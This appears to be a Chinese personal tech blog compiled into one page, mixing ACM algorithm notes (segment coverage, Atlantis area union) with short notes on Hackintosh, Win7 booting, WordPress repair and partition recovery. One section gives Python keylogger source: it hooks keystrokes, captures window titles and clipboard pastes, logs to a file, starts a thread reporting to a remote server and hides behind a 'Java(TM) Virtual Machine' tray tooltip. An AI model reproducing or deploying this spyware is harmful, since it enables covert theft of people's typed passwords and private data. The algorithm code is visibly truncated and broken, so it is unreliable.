【161016】ACM俱乐部区域赛前交流

  • 在线算法与离线算法

    假设举办江大程序设计校赛时要提供代码打印服务,通常情况下并发请求量并不大。
    我们的系统每接收到一条打印请求,就立即响应并指示打印机打出代码,这就是在线算法的工作策略。
    但在关键时刻可能会有大量请求蜂拥而来,服务器临时“宕机”了一下不能立即回应;请求就在缓冲池里堆积了起来。管理员看不下去了,马上出手打印了一大叠代码纸。这就好比是另一种工作策略——离线算法。

接着举例说明在线/离线的不同工作方式对算法设计的影响。

JNUOJ1150 线段覆盖

给出数轴上N条线段,每条线段用两个数表示A,B $ (-10^9 \leq A \lt B \leq 10^9) $ ,表示从a到b的一条线段。
现在请你求出它们覆盖数轴上的多长距离。

  • 空间中各个点的状态记录与增量记录
    这里有了个现成的数轴的概念,数轴是个一维空间,上面的各个位置具有被覆盖与不被覆盖两种状态。
    一条线段具有左端点和右端点两个属性,对左右端点之间各个位置产生状态改变。
    可以用一维数组记录(有需要知道的)各个位置的状态。考虑到同一个位置会被多条线段覆盖,那么修改增量(改变量)记录以便最终一次性更新。如果线段端点散步范围不大的话就这么做了。
    可是散布范围太大了,不论是评测机还是编译器都不会接受$ 10^9 $规模的数组。

  • 压缩空间
    并不是$ 10^9 $个位置都成为端点,可以作端点的位置至多$ 2N $个。
    要像制造“空间扭曲”一样缩短这个数轴,缩短遥远的端点之间的虚拟距离。
    现在把各个端点按照顺序映射到更紧密的空间上,也就是给每个位置按顺序分配一个虚拟ID。
    这样状态存储的空间就被压缩了,同时能够获知虚拟点之间的真实距离。

#include 
#include 
#include 

const int maxn=1000010;

int l[maxn],r[maxn],delta[maxn*2];

std::vector list;

int main(){
    int n;
    while(std::cin>>n){
        list.clear();
        std::fill(delta,delta+maxn*2,0);

        for(int i=0;i>l[i]>>r[i];
            list.push_back(l[i]);
            list.push_back(r[i]);
        }
        std::sort(list.begin(),list.end());
        list.erase(std::unique(list.begin(),list.end()),list.end());

        for(int i=0;i0)
                ans+=(i?list[i]-list[i-1]:0);
            cur+=delta[i];delta[i]=cur;
        }

        std::cout< 

  • 合并请求的离线化处理
    以上记录增量是拐弯抹角的解法,接下来说明“实用”的处理思路。
    线段跟线段肯定是有办法合并的,尽量把能合并的线段合成一条后取长度。
    每一轮合理的合并处理,可以从最左侧一条线段开始,向右逐个拼合,直到不能合并为止,取长度。反复进行这样的几轮处理。
const int maxn=1000010;

std::pair seg[maxn];

int main(){
    int n;
    while(std::cin>>n){
        for(int i=0; i>l>>r;
            seg[i]=std::make_pair(l,r);
        }
        std::sort(seg,seg+n);

        int ans=0,l=seg[0].first,r=seg[0].second;

        for(int i=0; i 


一维线性的问题可以拓展到二维平面上,长度被面积代替。

JNUOJ1147 Atlantis

已知平面上n个矩形,每个矩形用左上角、右下角的坐标确定,求合并后的总面积。

  • 降维思路
    说的是二维,其实还是一维问题。矩形宽度(横向)视作线段宽度,高度(纵向)视作附加参数。
    线段仍然拆分成左右端点,不过引入新的概念,改叫左事件、右事件。
  • 步步为营
    扫描线每到一处,就生成并处理该处平行于扫描线方向上的一系列事件。
struct Rectangle{
    double x1,y1,x2,y2;
    Rectangle(double _x1,double _y1,double _x2,double _y2):x1(_x1),x2(_x2),y1(_y1),y2(_y2) {}
};
//通过左上角、右下角的坐标确定一个矩形
vector rects;
vector ylist;

double unionArea(const vector& rects,vector& ylist){
    if (rects.empty()) return 0;
    typedef pair > Event;
    vector events;

    ylist.clear();
    for(int i=0; i cnt(ylist.size()-1,0);
    //处理事件
    for(int i=0; i0)
                cutLength+=ylist[j+1]-ylist[j];
        res+=cutLength*(events[i+1].first-events[i].first);//乘上宽度值,得到面积
    }
    return res;
}

int main(int argc, char** argv){
    ios::sync_with_stdio(false);
    cout.setf(ios::fixed,ios::floatfield);
    cout.precision(2);
    //设置实数输出格式

    int n,cas=0;
    while((cin>>n),n){
        rects.clear();
        for(int i=0; i>x1>>y1>>x2>>y2;
            rects.push_back(Rectangle(x1,y1,x2,y2));
        }
        cout<<"Test case #"<<++cas< 

  • 单点更新与批量查询

  • 区间更新与批量查询

黑苹果折腾第四迭代之末

暑期,在远景论坛作过大海捞针式的探索追踪,得到了至关重要线索:
OS X 10.10(推测)及其以后的版本中,动态内核加载,使得黑苹果变得不稳定、易无缘无故地死机乃至崩溃。

在clover中启用参数关闭此特性,似乎归于平静了。

又尝试升级到10.11.6,变化不明显。

毕竟macOS Sierra已经发布,下一迭代将用台式机来迎接。

Windows7及以后版本操作系统的安装镜像,Legacy引导还是UEFI引导?

Win7安装镜像可以以UEFI方式引导启动,但这样只能安装系统到GPT硬盘上,反之亦然。

Win7安装镜像的EFI引导文件不完善,需要从win8及以后的系统或安装镜像中获取EFI文件夹。

EFI\boot\bootx64.efi等同于bootmgfw.efi.

而且对于众多OEM的品牌机而言,只要EFI/microsoft存在,则自动引导启动Windows系统。

关于常见网络设备上运行的嵌入式系统的初步认识

在企业型的大型网关设备上常见Unix操作系统,TTL=255.

在个人型的小型路由器、交换机上常见Linux操作系统,TTL=63.

通过端口扫描可得到目标主机上开放的端口、运行的服务,进而推断操作系统。

ssh常用端口为22,telnet常用端口为23.

py2exe 打包失败

安装了py2exe x64,发现有功能缺陷,不支持打包生成单个Windows可执行文件。
也未能注册windows服务。

Wordpress config中站点地址或url地址错误的紧急修复

由于配置不当或域名变更造成wp站点无法访问,需要修改数据表:

use [wp_db_name]
update wp_options set option_value=’[url]’ where option_name=’siteurl’;
update wp_options set option_value=’[url]’ where option_name=’home’;

py编写键盘记录器初步

  • 调用win32 API记录键盘事件、窗口事件
#
def get_current_process():

    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    # 打印
    # print
    # print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    # print
    Thread(target=report_to_remote_server).start()
    output_file('','KeyLog.ini',"\n[ PID:%s-%s-%s] %s\n" % (process_id,executable.value,windows_title.value,time.strftime("%Y/%m/%d %H:%M:%S")));

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()

    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        # print chr(event.Ascii),
        output_file('','KeyLog.ini',chr(event.Ascii))
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            # print "[PASTE]-%s" % (pasted_value),
            output_file('','KeyLog.ini',"[PASTE]-%s" % (pasted_value))
        else:
            # print "[%s]" % event.Key,
            output_file('','KeyLog.ini',"[%s]" % event.Key)
    # 循环监听下一个击键事件
    return True

def RegisterKeyListener():
    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()

但是对于QQEdit.exe,记录值会受到干扰。

  • 日志记录
def output_file(dir,name,content):
    fileName = ''
    if len(dir)>0:
        fileName = fileName+dir + "/"
    fileName = fileName + name#.encode('utf-8','ignore')
    f = open(fileName,"a")
    f.write(content)
    # print "Output file",fileName
  • Tk GUI

支持异步多线程操作的UI库

class Tk_App:
    def __init__(self,master):
        #构造函数里传入一个父组件(master),创建一个Frame组件并显示
        frame = Frame(master)
        frame.pack()
        #创建两个button,并作为frame的一部分
        self.button = Button(frame, text="QUIT", fg="red", command=sys.exit)# frame.quit
        self.button.pack(side=LEFT) #此处side为LEFT表示将其放置 到frame剩余空间的最左方
        self.hi_there = Button(frame, text="Hello", command=self.say_hi)
        self.hi_there.pack(side=LEFT)
        # Thread(target=RegisterKeyListener).start()
        # sys.stdout.flush()

    def say_hi(self):
        print "hi there, this is a class example!"

TRAY_TOOLTIP = 'Java(TM) Virtual Machine'
TRAY_ICON = 'icon.png'


def create_menu_item(menu, label, func):
    item = wx.MenuItem(menu, -1, label)
    menu.Bind(wx.EVT_MENU, func, id=item.GetId())
    menu.AppendItem(item)
    return item


class TaskBarIcon(wx.TaskBarIcon):
    def __init__(self,frame):
        self.frame=frame
        super(TaskBarIcon, self).__init__()
        self.set_icon(TRAY_ICON)
        self.Bind(wx.EVT_TASKBAR_LEFT_DOWN, self.on_left_down)
        mainth.start();

    def CreatePopupMenu(self):
        menu = wx.Menu()
        # create_menu_item(menu, 'Say Hello', self.on_hello)
        create_menu_item(menu,'Control Panel',self.on_control);
        menu.AppendSeparator()
        create_menu_item(menu, 'Exit', self.on_exit)
        # create_menu_item(menu, 'Exit', sys.exit)
        return menu

    def set_icon(self, path):
        icon = wx.IconFromBitmap(wx.Bitmap(path))
        self.SetIcon(icon, TRAY_TOOLTIP)

    def on_left_down(self, event):
        print 'Tray icon was left-clicked.'

    def on_hello(self, event):
        print 'Hello, world!'


    def on_control(self,event):
        # print r'"%JAVA_HOME%\jre\bin\javacpl.exe"'
        # os.system(r'cd /d %JAVA_HOME%');
        os.system(r'""%JAVA_HOME%\jre\bin\javacpl.exe""');
        # print os.path.realpath(sys.argv[0])
        # print os.path.dirname(sys.argv[0])
        # print os.path.basename(sys.argv[0])

    def on_exit(self, event):
        wx.CallAfter(self.Destroy)
        self.frame.Close()
        mainth._Thread__stop()
        # sys.exit()

class App(wx.App):
    def OnInit(self):
        frame=wx.Frame(None)
        self.SetTopWindow(frame)
        TaskBarIcon(frame)
        return True

GPT磁盘分区丢失后的恢复

起因:使用Ghost 11.0.2恢复时出现错误代码29005,丢失所有分区。

既未备份分区表,又无法搜索到丢失分区。

后在所有丢失范围内新建一整个未格式化分区,进行文件恢复。

后测试了Ghost备份镜像,登录到win7时报错Group policy client服务未能登陆,拒绝访问,正是之前的致命错误。
可能是由于用mklink命令将用户文件夹转移到了D盘。